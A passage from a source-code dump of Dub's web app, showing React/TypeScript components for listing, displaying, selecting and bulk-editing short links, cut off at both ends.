className=\"p-1.5\"\n              />\n              {hasQuickViewSettings && <SettingsBadge link={link} />}\n              {link.comments && <CommentsBadge comments={link.comments} />}\n              {link.testVariants &&\n                link.testCompletedAt &&\n                new Date(link.testCompletedAt) > new Date() && (\n                  <TestsBadge link={link} />\n                )}\n            </div>\n          </div>\n          <Details link={link} compact />\n        </div>\n\n        <Details link={link} />\n      </div>\n    </div>\n  );\n}\n\nfunction UnverifiedTooltip({\n  domain,\n  _key,\n  children,\n}: PropsWithChildren<{ domain: string; _key: string }>) {\n  const { slug } = useWorkspace();\n\n  const ref = useRef<HTMLDivElement>(null);\n  const isVisible = useInViewport(ref);\n\n  const { verified, loading, error } = useDomain({\n    slug: domain,\n    enabled: isVisible,\n  });\n\n  const isConfirmedUnverified =\n    !isDubDomain(domain) && !loading && !error && verified === false;\n\n  return (\n    <div ref={ref} className=\"min-w-0 truncate\">\n      {isConfirmedUnverified ? (\n        <Tooltip\n          content={\n            <TooltipContent\n              title=\"Your branded links won't work until you verify your domain.\"\n              cta=\"Verify your domain\"\n              href={`/${slug}/settings/domains`}\n            />\n          }\n        >\n          <p className=\"cursor-default truncate font-semibold leading-6 text-neutral-500 line-through\">\n            {linkConstructor({ domain, key: _key, pretty: true })}\n          </p>\n        </Tooltip>\n      ) : (\n        children\n      )}\n    </div>\n  );\n}\n\nfunction SettingsBadge({ link }: { link: ResponseLink }) {\n  const settings = quickViewSettings.filter(({ key }) => link?.[key]);\n\n  const { LinkBuilder, setShowLinkBuilder } = useLinkBuilder({\n    props: link,\n  });\n\n  const [open, setOpen] = useState(false);\n\n  return (\n    <div className=\"hidden sm:block\">\n      <LinkBuilder />\n      <HoverCard.Root open={open} onOpenChange={setOpen} openDelay={100}>\n        <HoverCard.Portal>\n          <HoverCard.Content\n            side=\"bottom\"\n            sideOffset={8}\n            className=\"animate-slide-up-fade z-[99] items-center overflow-hidden rounded-xl border border-neutral-200 bg-white shadow-sm\"\n          >\n            <div className=\"flex w-[340px] flex-col p-3 text-sm\">\n              {settings.map(({ label, icon: Icon }) => (\n                <button\n                  key={label}\n                  type=\"button\"\n                  onClick={() => {\n                    setOpen(false);\n                    setShowLinkBuilder(true);\n                  }}\n                  className=\"flex items-center justify-between gap-4 rounded-lg p-3 transition-colors hover:bg-neutral-100\"\n                >\n                  <div className=\"flex items-center gap-3\">\n                    <Icon className=\"size-4 text-neutral-600\" />\n                    <span className=\"text-neutral-950\">{label}</span>\n                  </div>\n                  <Switch checked />\n                </button>\n              ))}\n            </div>\n          </HoverCard.Content>\n        </HoverCard.Portal>\n        <HoverCard.Trigger asChild>\n          <div className=\"rounded-full p-1.5 hover:bg-neutral-100\">\n            <Bolt className=\"size-3.5\" />\n          </div>\n        </HoverCard.Trigger>\n      </HoverCard.Root>\n    </div>\n  );\n}\n\nconst LinkIcon = memo(({ link }: { link: ResponseLink }) => {\n  const { isSelectMode, selectedLinkIds, handleLinkSelection } =\n    useLinkSelection();\n  const isSelected = selectedLinkIds.includes(link.id);\n\n  return (\n    <button\n      type=\"button\"\n      role=\"checkbox\"\n      aria-checked={isSelected}\n      data-checked={isSelected}\n      onClick={(e) => handleLinkSelection(link.id, e)}\n      className={cn(\n        \"group relative hidden shrink-0 items-center justify-center outline-none sm:flex\",\n        isSelectMode && \"flex\",\n      )}\n    >\n      {/* Link logo background circle */}\n      <div className=\"absolute inset-0 shrink-0 rounded-full border border-neutral-200 opacity-0 transition-opacity group-data-[variant=loose]/card-list:sm:opacity-100\">\n        <div className=\"h-full w-full rounded-full border border-white bg-gradient-to-t from-neutral-100\" />\n      </div>\n      <div className=\"relative transition-[padding,transform] group-hover:scale-90 group-data-[variant=loose]/card-list:sm:p-2\">\n        <div className=\"hidden sm:block\">\n          {link.archived ? (\n            <BoxArchive\n              className={cn(\n                \"shrink-0 p-0.5 text-neutral-600 transition-[width,height]\",\n                LOGO_SIZE_CLASS_NAME,\n              )}\n            />\n          ) : (\n            <LinkLogo\n              apexDomain={getApexDomain(link.url)}\n              className={cn(\n                \"shrink-0 transition-[width,height]\",\n                LOGO_SIZE_CLASS_NAME,\n              )}\n              imageProps={{\n                loading: \"lazy\",\n              }}\n            />\n          )}\n        </div>\n        <div className=\"size-5 group-data-[variant=loose]/card-list:size-6 sm:hidden\" />\n      </div>\n      {/* Checkbox */}\n      <div\n        className={cn(\n          \"pointer-events-none absolute inset-0 flex items-center justify-center rounded-full border border-neutral-400 bg-white ring-0 ring-black/5\",\n          \"opacity-100 max-sm:ring sm:opacity-0\",\n          \"transition-all duration-150 group-hover:opacity-100 group-hover:ring group-focus-visible:opacity-100 group-focus-visible:ring\",\n          \"group-data-[checked=true]:opacity-100\",\n        )}\n      >\n        <div\n          className={cn(\n            \"rounded-full bg-neutral-800 p-0.5 group-data-[variant=loose]/card-list:p-1\",\n            \"scale-90 opacity-0 transition-[transform,opacity] duration-100 group-data-[checked=true]:scale-100 group-data-[checked=true]:opacity-100\",\n          )}\n        >\n          <Check2 className=\"size-3 text-white\" />\n        </div>\n      </div>\n    </button>\n  );\n});\n\nconst Details = memo(\n  ({ link, compact }: { link: ResponseLink; compact?: boolean }) => {\n    const { url, createdAt } = link;\n\n    const { displayProperties } = useContext(LinksDisplayContext);\n\n    return (\n      <div\n        className={cn(\n          \"min-w-0 items-center whitespace-nowrap text-sm transition-[opacity,display] delay-[0s,150ms] duration-[150ms,0s]\",\n          compact\n            ? [\n                \"hidden gap-2.5 opacity-0 group-data-[variant=compact]/card-list:flex group-data-[variant=compact]/card-list:opacity-100\",\n                \"xs:min-w-[40px] xs:basis-[40px] min-w-0 shrink-0 grow basis-0 sm:min-w-[120px] sm:basis-[120px]\",\n              ]\n            : \"hidden gap-1.5 opacity-0 group-data-[variant=loose]/card-list:flex group-data-[variant=loose]/card-list:opacity-100 md:gap-3\",\n        )}\n      >\n        <div className=\"flex min-w-0 items-center gap-1\">\n          {displayProperties.includes(\"url\") &&\n            (compact ? (\n              <ArrowRight className=\"mr-1 h-3 w-3 shrink-0 text-neutral-400\" />\n            ) : (\n              <ArrowTurnRight2 className=\"h-3 w-3 shrink-0 text-neutral-400\" />\n            ))}\n          {displayProperties.includes(\"url\") ? (\n            url ? (\n              <a\n                href={url}\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                title={url}\n                className=\"cursor-alias truncate text-neutral-500 decoration-dotted transition-colors hover:text-neutral-700 hover:underline hover:underline-offset-2\"\n              >\n                {getPrettyUrl(url)}\n              </a>\n            ) : (\n              <span className=\"truncate text-neutral-400\">\n                No URL configured\n              </span>\n            )\n          ) : (\n            <span className=\"truncate text-neutral-500\">\n              {link.description}\n            </span>\n          )}\n        </div>\n        <div\n          className={cn(\n            \"hidden shrink-0\",\n            displayProperties.includes(\"user\") && \"sm:block\",\n          )}\n        >\n          <UserAvatarWithTooltip user={link.user} />\n        </div>\n        <div\n          className={cn(\n            \"hidden shrink-0\",\n            displayProperties.includes(\"createdAt\") && \"sm:block\",\n          )}\n        >\n          <TimestampTooltip\n            timestamp={createdAt}\n            rows={[\"local\"]}\n            delayDuration={150}\n          >\n            <span className=\"text-neutral-400\">{timeAgo(createdAt)}</span>\n          </TimestampTooltip>\n        </div>\n      </div>\n    );\n  },\n);\n\nexport function UserAvatarWithTooltip({ user }: { user: UserProps }) {\n  const { slug } = useParams();\n  return (\n    <Tooltip\n      content={\n        <div className=\"w-full p-3\">\n          <UserAvatar user={user} className=\"h-8 w-8\" />\n          <div className=\"mt-2 flex items-center gap-1.5\">\n            <p className=\"text-sm font-semibold text-neutral-700\">\n              {user?.name || user?.email || \"Anonymous User\"}\n            </p>\n            {!slug && // this is only shown in admin mode (where there's no slug)\n              user?.email && (\n                <CopyButton\n                  value={user.email}\n                  icon={Mail}\n                  className=\"[&>*]:h-3 [&>*]:w-3\"\n                />\n              )}\n          </div>\n          <div className=\"flex flex-col gap-1 text-xs text-neutral-500\">\n            {user?.name && user.email && <p>{user.email}</p>}\n          </div>\n        </div>\n      }\n      delayDuration={150}\n    >\n      <div>\n        <UserAvatar user={user} className=\"size-4\" />\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/links-container.tsx",
    "content": "\"use client\";\n\nimport useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useLinks from \"@/lib/swr/use-links\";\nimport useLinksCount from \"@/lib/swr/use-links-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ExpandedLinkProps, UserProps } from \"@/lib/types\";\nimport { CardList } from \"@dub/ui\";\nimport { CursorRays, Hyperlink } from \"@dub/ui/icons\";\nimport { useSearchParams } from \"next/navigation\";\nimport {\n  createContext,\n  Dispatch,\n  SetStateAction,\n  useContext,\n  useState,\n  type JSX,\n} from \"react\";\nimport { PageWidthWrapper } from \"../layout/page-width-wrapper\";\nimport { AnimatedEmptyState } from \"../shared/animated-empty-state\";\nimport { LinkCard } from \"./link-card\";\nimport LinkCardPlaceholder from \"./link-card-placeholder\";\nimport { LinkSelectionProvider } from \"./link-selection-provider\";\nimport { LinksDisplayContext } from \"./links-display-provider\";\nimport { LinksToolbar } from \"./links-toolbar\";\n\nexport type ResponseLink = ExpandedLinkProps & {\n  user: UserProps;\n};\n\nexport default function LinksContainer({\n  CreateLinkButton,\n}: {\n  CreateLinkButton: () => JSX.Element;\n}) {\n  const { viewMode, sortBy, showArchived } = useContext(LinksDisplayContext);\n\n  const { folderId } = useCurrentFolderId();\n\n  const { links, isValidating, error } = useLinks({\n    sortBy,\n    showArchived,\n    folderId: folderId ?? \"\",\n  });\n\n  const { data: count } = useLinksCount<number>({\n    query: {\n      showArchived,\n      folderId: folderId ?? \"\",\n    },\n  });\n\n  return (\n    <PageWidthWrapper className=\"grid gap-y-2\">\n      <LinksList\n        CreateLinkButton={CreateLinkButton}\n        links={links}\n        count={count}\n        loading={isValidating}\n        error={error}\n        compact={viewMode === \"rows\"}\n      />\n    </PageWidthWrapper>\n  );\n}\n\nexport const LinksListContext = createContext<{\n  openMenuLinkId: string | null;\n  setOpenMenuLinkId: Dispatch<SetStateAction<string | null>>;\n}>({\n  openMenuLinkId: null,\n  setOpenMenuLinkId: () => {},\n});\n\nfunction LinksList({\n  CreateLinkButton,\n  links,\n  count,\n  loading,\n  error,\n  compact,\n}: {\n  CreateLinkButton: () => JSX.Element;\n  links?: ResponseLink[];\n  count?: number;\n  loading?: boolean;\n  error?: unknown;\n  compact: boolean;\n}) {\n  const searchParams = useSearchParams();\n  const { isMegaWorkspace } = useWorkspace();\n\n  const [openMenuLinkId, setOpenMenuLinkId] = useState<string | null>(null);\n\n  const isFiltered = [\n    \"folderId\",\n    \"tagIds\",\n    \"domain\",\n    \"userId\",\n    \"search\",\n    \"showArchived\",\n  ].some((param) => searchParams.has(param));\n\n  const errorMessage =\n    error instanceof Error ? error.message : \"Failed to load links\";\n\n  return (\n    <LinksListContext.Provider value={{ openMenuLinkId, setOpenMenuLinkId }}>\n      <LinkSelectionProvider links={links}>\n        {error ? (\n          <div className=\"rounded-lg border border-red-200 bg-red-50 px-4 py-3 text-sm text-red-800\">\n            {errorMessage}\n          </div>\n        ) : !links || links.length ? (\n          // Cards\n          <CardList variant={compact ? \"compact\" : \"loose\"} loading={loading}>\n            {links?.length\n              ? // Link cards\n                links.map((link) => <LinkCard key={link.id} link={link} />)\n              : // Loading placeholder cards\n                Array.from({ length: 12 }).map((_, idx) => (\n                  <CardList.Card\n                    key={idx}\n                    outerClassName=\"pointer-events-none\"\n                    innerClassName=\"flex items-center gap-4\"\n                  >\n                    <LinkCardPlaceholder />\n                  </CardList.Card>\n                ))}\n          </CardList>\n        ) : (\n          <AnimatedEmptyState\n            title={isFiltered ? \"No links found\" : \"No links yet\"}\n            description={\n              isFiltered\n                ? \"Bummer! There are no links that match your filters. Adjust your filters to yield more results.\"\n                : \"Start creating short links for your marketing campaigns, referral programs, and more.\"\n            }\n            cardContent={\n              <>\n                <Hyperlink className=\"size-4 text-neutral-700\" />\n                <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n                <div className=\"xs:flex hidden grow items-center justify-end gap-1.5 text-neutral-500\">\n                  <CursorRays className=\"size-3.5\" />\n                </div>\n              </>\n            }\n            {...(!isFiltered && {\n              addButton: (\n                <div>\n                  <CreateLinkButton />\n                </div>\n              ),\n              learnMoreHref: \"https://dub.co/help/article/how-to-create-link\",\n              learnMoreClassName: \"h-10\",\n            })}\n          />\n        )}\n\n        {/* Pagination */}\n        {links && (\n          <LinksToolbar\n            loading={!!loading}\n            links={links}\n            linksCount={\n              isMegaWorkspace ? Infinity : count ?? links?.length ?? 0\n            }\n          />\n        )}\n      </LinkSelectionProvider>\n    </LinksListContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/links-display-provider.tsx",
    "content": "import {\n  defaultLinksDisplayProperties,\n  LinksDisplayProperty,\n  linksSortOptions,\n  LinksSortSlug,\n  LinksViewMode,\n  linksViewModes,\n} from \"@/lib/links/links-display\";\nimport { useWorkspacePreferences } from \"@/lib/swr/use-workspace-preferences\";\nimport { linksDisplaySchema } from \"@/lib/zod/schemas/workspace-preferences\";\nimport { useSearchParams } from \"next/navigation\";\nimport {\n  createContext,\n  Dispatch,\n  PropsWithChildren,\n  SetStateAction,\n  useMemo,\n  useState,\n} from \"react\";\nimport * as z from \"zod/v4\";\n\ntype LinksDisplayKey = keyof z.infer<typeof linksDisplaySchema>;\ntype LinksDisplayValue<K extends LinksDisplayKey> = z.infer<\n  typeof linksDisplaySchema\n>[K];\n\nfunction useLinksDisplayOption<K extends LinksDisplayKey>(\n  key: K,\n  persisted: z.infer<typeof linksDisplaySchema>,\n  overrideValue?: LinksDisplayValue<K>,\n): [\n  LinksDisplayValue<K>,\n  Dispatch<SetStateAction<LinksDisplayValue<K>>>,\n  () => void,\n] {\n  const [value, setValue] = useState(overrideValue ?? persisted[key]);\n\n  return [value, setValue, () => setValue(persisted[key])];\n}\n\nexport const LinksDisplayContext = createContext<{\n  viewMode: LinksViewMode;\n  setViewMode: Dispatch<SetStateAction<LinksViewMode>>;\n  displayProperties: LinksDisplayProperty[];\n  setDisplayProperties: Dispatch<SetStateAction<LinksDisplayProperty[]>>;\n  sortBy: LinksSortSlug;\n  setSort: Dispatch<SetStateAction<LinksSortSlug>>;\n  showArchived: boolean;\n  setShowArchived: Dispatch<SetStateAction<boolean>>;\n  isDirty: boolean;\n  persist: () => void;\n  reset: () => void;\n}>({\n  viewMode: \"cards\",\n  setViewMode: () => {},\n  displayProperties: defaultLinksDisplayProperties,\n  setDisplayProperties: () => {},\n  sortBy: linksSortOptions[0].slug,\n  setSort: () => {},\n  showArchived: false,\n  setShowArchived: () => {},\n  /** Whether the current values differ from the persisted values */\n  isDirty: false,\n  /** Updates the persisted values to the current values */\n  persist: () => {},\n  /** Resets the current values to the persisted values */\n  reset: () => {},\n});\n\nconst parseSort = (sort: string) =>\n  linksSortOptions.find(({ slug }) => slug === sort)?.slug ??\n  linksSortOptions[0].slug;\n\nexport function LinksDisplayProvider({ children }: PropsWithChildren) {\n  const searchParams = useSearchParams();\n  const sortRaw = searchParams?.get(\"sortBy\");\n  const showArchivedRaw = searchParams?.get(\"showArchived\");\n\n  const [persisted, setPersisted] = useWorkspacePreferences(\"linksDisplay\", {\n    viewMode: linksViewModes[0],\n    sortBy: linksSortOptions[0].slug,\n    showArchived: false,\n    displayProperties: defaultLinksDisplayProperties,\n  });\n\n  const [viewMode, setViewMode, resetViewMode] = useLinksDisplayOption(\n    \"viewMode\",\n    persisted!,\n  );\n\n  const [sortBy, setSort, resetSort] = useLinksDisplayOption(\n    \"sortBy\",\n    persisted!,\n    sortRaw ? parseSort(sortRaw) : undefined,\n  );\n\n  const [showArchived, setShowArchived, resetShowArchived] =\n    useLinksDisplayOption(\n      \"showArchived\",\n      persisted!,\n      showArchivedRaw ? showArchivedRaw === \"true\" : undefined,\n    );\n\n  const [displayProperties, setDisplayProperties, resetDisplayProperties] =\n    useLinksDisplayOption(\"displayProperties\", persisted!);\n\n  const isDirty = useMemo(() => {\n    if (viewMode !== persisted?.viewMode) return true;\n    if (sortBy !== persisted?.sortBy) return true;\n    if (showArchived !== persisted?.showArchived) return true;\n    if (\n      displayProperties.slice().sort().join(\",\") !==\n      persisted?.displayProperties.slice().sort().join(\",\")\n    )\n      return true;\n\n    return false;\n  }, [\n    JSON.stringify(persisted),\n    viewMode,\n    sortBy,\n    showArchived,\n    displayProperties,\n  ]);\n\n  return (\n    <LinksDisplayContext.Provider\n      value={{\n        viewMode: viewMode as LinksViewMode,\n        setViewMode,\n        displayProperties,\n        setDisplayProperties,\n        sortBy: sortBy as LinksSortSlug,\n        setSort,\n        showArchived,\n        setShowArchived,\n        isDirty,\n        persist: () =>\n          setPersisted({\n            viewMode,\n            sortBy,\n            showArchived,\n            displayProperties,\n          }),\n        reset: () => {\n          resetViewMode();\n          resetDisplayProperties();\n          resetSort();\n          resetShowArchived();\n        },\n      }}\n    >\n      {children}\n    </LinksDisplayContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/links-toolbar.tsx",
    "content": "import { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { useFolderPermissions } from \"@/lib/swr/use-folder-permissions\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  AnimatedSizeContainer,\n  BoxArchive,\n  Button,\n  CircleCheck,\n  CircleDollar,\n  Folder,\n  Icon,\n  LoadingSpinner,\n  PaginationControls,\n  Tag,\n  TooltipContent,\n  Trash,\n  useKeyboardShortcut,\n  usePagination,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { memo, ReactNode, useContext, useMemo } from \"react\";\nimport { useArchiveLinkModal } from \"../modals/archive-link-modal\";\nimport { useDeleteLinkModal } from \"../modals/delete-link-modal\";\nimport { useLinkBuilder } from \"../modals/link-builder\";\nimport { useLinkConversionTrackingModal } from \"../modals/link-conversion-tracking-modal\";\nimport { useMoveLinkToFolderModal } from \"../modals/move-link-to-folder-modal\";\nimport { useTagLinkModal } from \"../modals/tag-link-modal\";\nimport { X } from \"../shared/icons\";\nimport ArchivedLinksHint from \"./archived-links-hint\";\nimport { useLinkSelection } from \"./link-selection-provider\";\nimport { LinksListContext, ResponseLink } from \"./links-container\";\n\ntype BulkAction = {\n  label: string;\n  icon: Icon;\n  action: () => void;\n  disabledTooltip?: string | ReactNode;\n  keyboardShortcut?: string;\n};\n\nexport const LinksToolbar = memo(\n  ({\n    loading,\n    links,\n    linksCount,\n  }: {\n    loading: boolean;\n    links: ResponseLink[];\n    linksCount: number;\n  }) => {\n    const { slug, plan, isMegaWorkspace } = useWorkspace();\n\n    const { canManageFolderPermissions } = getPlanCapabilities(plan);\n    const { folders } = useFolderPermissions();\n    const conversionsEnabled = !!plan && plan !== \"free\" && plan !== \"pro\";\n\n    const { openMenuLinkId } = useContext(LinksListContext);\n    const {\n      isSelectMode,\n      setIsSelectMode,\n      selectedLinkIds,\n      setSelectedLinkIds,\n    } = useLinkSelection();\n    const { pagination, setPagination } = usePagination();\n\n    const selectedLinks = useMemo(\n      () => links.filter(({ id }) => selectedLinkIds.includes(id)),\n      [links, selectedLinkIds],\n    );\n\n    const hasAllFolderPermissions = useMemo(() => {\n      // `folders` is undefined for users without access, so just check if all links are not in a folder first\n      if (selectedLinks.every((link) => !link.folderId)) return true;\n\n      // If the workspace plan doesn't support folder permissions, assume write access\n      if (!canManageFolderPermissions) return true;\n\n      if (!folders || !Array.isArray(folders)) return false;\n\n      return selectedLinks.every(\n        (link) =>\n          !link.folderId ||\n          folders\n            .find((folder) => folder.id === link.folderId)\n            ?.permissions.includes(\"folders.links.write\"),\n      );\n    }, [selectedLinks, canManageFolderPermissions, folders]);\n\n    const { LinkBuilder, CreateLinkButton } = useLinkBuilder();\n\n    const { setShowTagLinkModal, TagLinkModal } = useTagLinkModal({\n      props: selectedLinks,\n    });\n    const { setShowMoveLinkToFolderModal, MoveLinkToFolderModal } =\n      useMoveLinkToFolderModal({\n        links: selectedLinks,\n      });\n    const { setShowLinkConversionTrackingModal, LinkConversionTrackingModal } =\n      useLinkConversionTrackingModal({\n        props: selectedLinks,\n      });\n    const { setShowArchiveLinkModal, ArchiveLinkModal } = useArchiveLinkModal({\n      props: selectedLinks,\n    });\n    const { setShowDeleteLinkModal, DeleteLinkModal } = useDeleteLinkModal({\n      props: selectedLinks,\n    });\n\n    const bulkActions: BulkAction[] = useMemo(\n      () => [\n        {\n          label: \"Tags\",\n          icon: Tag,\n          action: () => setShowTagLinkModal(true),\n          keyboardShortcut: \"t\",\n        },\n        {\n          label: \"Folder\",\n          icon: Folder,\n          action: () => setShowMoveLinkToFolderModal(true),\n          disabledTooltip:\n            plan === \"free\" ? (\n              <TooltipContent\n                title=\"You can only use Link Folders on a Pro plan and above. Upgrade to Pro to continue.\"\n                cta=\"Upgrade to Pro\"\n                href={`/${slug}/upgrade`}\n              />\n            ) : undefined,\n          keyboardShortcut: \"m\",\n        },\n        {\n          label: \"Conversion\",\n          icon: CircleDollar,\n          action: () => setShowLinkConversionTrackingModal(true),\n          disabledTooltip: conversionsEnabled ? undefined : (\n            <TooltipContent\n              title=\"Conversion tracking is only available on Business plans and above.\"\n              cta=\"Upgrade to Business\"\n              href={slug ? `/${slug}/upgrade` : \"https://dub.co/pricing\"}\n              target=\"_blank\"\n            />\n          ),\n          keyboardShortcut: \"c\",\n        },\n        {\n          label:\n            selectedLinks.length &&\n            selectedLinks.every(({ archived }) => archived)\n              ? \"Unarchive\"\n              : \"Archive\",\n          icon: BoxArchive,\n          action: () => setShowArchiveLinkModal(true),\n          keyboardShortcut: \"a\",\n        },\n        {\n          label: \"Delete\",\n          icon: Trash,\n          action: () => setShowDeleteLinkModal(true),\n          disabledTooltip: selectedLinks.some(\n            ({ programId, clicks }) => programId && clicks > 0,\n          )\n            ? \"You can't delete partner links that have active stats on them.\"\n            : undefined,\n          keyboardShortcut: \"x\",\n        },\n      ],\n      [plan, conversionsEnabled, selectedLinks],\n    );\n\n    useKeyboardShortcut(\n      bulkActions\n        .map(({ keyboardShortcut }) => keyboardShortcut)\n        .filter(Boolean) as string[],\n      (e) => {\n        const action = bulkActions.find(\n          ({ keyboardShortcut }) => keyboardShortcut === e.key,\n        );\n        if (action && !action.disabledTooltip && hasAllFolderPermissions)\n          action.action();\n      },\n      {\n        enabled: selectedLinkIds.length > 0 && openMenuLinkId === null,\n        priority: 2, // Take priority over individual link controls\n        modal: false,\n      },\n    );\n\n    useKeyboardShortcut(\"Escape\", () => setSelectedLinkIds([]), {\n      enabled: selectedLinkIds.length > 0 && openMenuLinkId === null,\n      priority: 2, // Take priority over clearing filters\n      modal: false,\n    });\n\n    const isSelecting = isSelectMode || selectedLinkIds.length > 0;\n\n    return (\n      <>\n        <TagLinkModal />\n        <MoveLinkToFolderModal />\n        <LinkConversionTrackingModal />\n        <ArchiveLinkModal />\n        <DeleteLinkModal />\n        <LinkBuilder />\n\n        {/* Leave room at bottom of list */}\n        <div className=\"h-[90px]\" />\n\n        <div className=\"fixed bottom-4 left-0 z-10 w-full sm:max-[1372px]:w-[calc(100%-150px)] md:left-[304px] md:w-[calc(100%-304px)] md:max-[1372px]:w-[calc(100%-304px-150px)]\">\n          <div\n            className={cn(\n              \"relative left-1/2 w-full max-w-[768px] -translate-x-1/2 px-5\",\n              \"max-[1372px]:left-0 max-[1372px]:translate-x-0\",\n            )}\n          >\n            <div className=\"overflow-hidden rounded-xl border border-neutral-200 bg-white [filter:drop-shadow(0_5px_8px_#222A351d)]\">\n              <AnimatedSizeContainer height>\n                <div\n                  className={cn(\n                    \"relative px-4 py-3.5 transition-[opacity,transform] duration-100\",\n                    isSelecting &&\n                      \"pointer-events-none absolute inset-0 translate-y-1/2 opacity-0\",\n                  )}\n                >\n                  <PaginationControls\n                    pagination={pagination}\n                    setPagination={setPagination}\n                    totalCount={linksCount}\n                    unit={(plural) => `${plural ? \"links\" : \"link\"}`}\n                    showTotalCount={!isMegaWorkspace}\n                  >\n                    {!isMegaWorkspace && (\n                      <>\n                        {loading ? (\n                          <LoadingSpinner className=\"size-3.5\" />\n                        ) : (\n                          <div className=\"hidden sm:block\">\n                            <ArchivedLinksHint />\n                          </div>\n                        )}\n                      </>\n                    )}\n                  </PaginationControls>\n                  <div className=\"flex items-center gap-2 pt-3 sm:hidden\">\n                    <CreateLinkButton\n                      className=\"h-8\"\n                      textWrapperClassName=\"text-center\"\n                    />\n                    <Button\n                      variant=\"secondary\"\n                      className=\"h-8 w-fit px-3.5\"\n                      icon={<CircleCheck className=\"size-4\" />}\n                      text=\"Select\"\n                      onClick={() => setIsSelectMode(true)}\n                    />\n                  </div>\n                </div>\n\n                <div\n                  className={cn(\n                    \"relative px-4 py-3.5 transition-[opacity,transform] duration-100\",\n                    !isSelecting &&\n                      \"pointer-events-none absolute inset-0 translate-y-1/2 opacity-0\",\n                  )}\n                >\n                  <div className=\"flex flex-wrap items-center justify-between gap-2\">\n                    <div className=\"flex items-center gap-2\">\n                      <button\n                        type=\"button\"\n                        onClick={() => {\n                          setSelectedLinkIds([]);\n                          setIsSelectMode(false);\n                        }}\n                        className=\"rounded-md p-1.5 transition-colors duration-75 hover:bg-neutral-50 active:bg-neutral-100\"\n                      >\n                        <X className=\"size-4 text-neutral-900\" />\n                      </button>\n                      <span className=\"whitespace-nowrap text-sm font-medium text-neutral-600\">\n                        <strong className=\"font-semibold\">\n                          {selectedLinkIds.length}\n                        </strong>{\" \"}\n                        selected\n                      </span>\n                    </div>\n\n                    {/* Large screen controls */}\n                    <div\n                      className={cn(\n                        \"xs:gap-2 flex items-center gap-1.5 transition-[transform,opacity] duration-150\",\n                        selectedLinkIds.length > 0\n                          ? \"translate-y-0 opacity-100\"\n                          : \"pointer-events-none translate-y-1/2 opacity-0\",\n                      )}\n                    >\n                      {bulkActions.map(\n                        (\n                          {\n                            label,\n                            icon: Icon,\n                            action,\n                            disabledTooltip,\n                            keyboardShortcut,\n                          },\n                          idx,\n                        ) => (\n                          <Button\n                            key={idx}\n                            type=\"button\"\n                            variant=\"secondary\"\n                            className=\"xs:px-2.5 h-7 gap-1.5 px-2 text-xs min-[1120px]:pr-1.5\"\n                            textWrapperClassName=\"max-[1120px]:hidden\"\n                            icon={<Icon className=\"size-3.5\" />}\n                            text={label}\n                            onClick={action}\n                            disabledTooltip={\n                              disabledTooltip ||\n                              (!hasAllFolderPermissions\n                                ? \"You don't have permission to perform this action.\"\n                                : undefined)\n                            }\n                            shortcut={keyboardShortcut?.toUpperCase()}\n                            shortcutClassName=\"py-px px-1 text-[0.625rem] leading-snug md:hidden min-[1120px]:inline-block\"\n                          />\n                        ),\n                      )}\n                    </div>\n                  </div>\n                </div>\n              </AnimatedSizeContainer>\n            </div>\n          </div>\n        </div>\n      </>\n    );\n  },\n);\n"
  },
  {
    "path": "apps/web/ui/links/short-link-input.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LinkProps } from \"@/lib/types\";\nimport { DOMAINS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/domains\";\nimport { useCompletion } from \"@ai-sdk/react\";\nimport {\n  AnimatedSizeContainer,\n  ArrowTurnRight2,\n  ButtonTooltip,\n  Combobox,\n  LinkedIn,\n  LoadingCircle,\n  Magic,\n  PenWriting,\n  Tooltip,\n  Twitter,\n  useKeyboardShortcut,\n} from \"@dub/ui\";\nimport {\n  cn,\n  DUB_DOMAINS,\n  getApexDomain,\n  getDomainWithoutWWW,\n  linkConstructor,\n  nanoid,\n  punycode,\n  truncate,\n} from \"@dub/utils\";\nimport { TriangleAlert } from \"lucide-react\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport {\n  forwardRef,\n  HTMLProps,\n  useCallback,\n  useEffect,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { useDebounce } from \"use-debounce\";\nimport { FreeDotLinkBanner } from \"../domains/free-dot-link-banner\";\nimport { AlertCircleFill, Random } from \"../shared/icons\";\nimport { UpgradeRequiredToast } from \"../shared/upgrade-required-toast\";\nimport { DisabledLinkTooltip } from \"./disabled-link-tooltip\";\nimport { useAvailableDomains } from \"./use-available-domains\";\n\ntype ShortLinkInputProps = {\n  domain?: string;\n  _key?: string;\n  existingLinkProps?: Pick<LinkProps, \"key\" | \"disabledAt\">;\n  error?: string;\n  onChange: (data: { domain?: string; key?: string }) => void;\n  data: Pick<LinkProps, \"url\" | \"title\" | \"description\">;\n  saving: boolean;\n  loading: boolean;\n  onboarding?: boolean;\n} & Omit<HTMLProps<HTMLInputElement>, \"onChange\" | \"data\">;\n\nexport const ShortLinkInput = forwardRef<HTMLInputElement, ShortLinkInputProps>(\n  (\n    {\n      domain,\n      _key: key,\n      existingLinkProps,\n      error: errorProp,\n      onChange,\n      data,\n      saving,\n      loading,\n      onboarding,\n      ...inputProps\n    }: ShortLinkInputProps,\n    ref,\n  ) => {\n    const existingLink = Boolean(existingLinkProps);\n\n    const inputId = useId();\n    const randomLinkedInNonce = useMemo(() => nanoid(8), []);\n\n    const {\n      id: workspaceId,\n      slug,\n      mutate: mutateWorkspace,\n      exceededAI,\n      nextPlan,\n      dotLinkClaimed,\n    } = useWorkspace();\n\n    const [lockKey, setLockKey] = useState(existingLink);\n    const [generatingRandomKey, setGeneratingRandomKey] = useState(false);\n\n    const [keyError, setKeyError] = useState<string | null>(null);\n    const error = keyError || errorProp;\n\n    const generateRandomKey = async () => {\n      setKeyError(null);\n      setGeneratingRandomKey(true);\n      const res = await fetch(\n        `/api/links/random?domain=${domain}&workspaceId=${workspaceId}`,\n      );\n      